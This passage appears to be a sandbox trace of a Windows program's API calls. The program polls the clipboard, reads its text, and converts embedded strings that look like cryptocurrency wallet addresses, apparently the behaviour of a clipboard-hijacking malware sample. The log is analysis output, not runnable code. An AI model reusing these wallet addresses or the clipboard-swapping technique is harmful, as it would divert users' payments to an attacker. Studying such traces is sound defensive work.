lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.514] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.514] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.514] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.514] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.514] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.514] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.515] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.515] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.515] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.515] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.515] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.515] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.515] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.515] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.515] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.515] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.516] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.516] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.516] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.516] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.516] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.516] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.516] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0047.516] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0047.516] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0047.516] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0047.517] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0047.517] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0047.517] Sleep (dwMilliseconds=0x64) [0047.653] GetOpenClipboardWindow () returned 0x0 [0047.653] OpenClipboard (hWndNewOwner=0x0) returned 1 [0047.653] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0047.653] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0047.653] GlobalSize (hMem=0x6069b8) returned 0x42 [0047.653] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0047.653] GlobalUnlock (hMem=0x6069b8) returned 1 [0047.653] CloseClipboard () returned 1 [0047.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.655] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.655] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.655] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.655] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.655] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.655] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.655] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.655] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.655] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.656] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.656] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.656] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.656] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.656] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.656] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.656] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.656] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.656] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.657] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0047.657] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0047.657] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0047.657] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0047.657] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 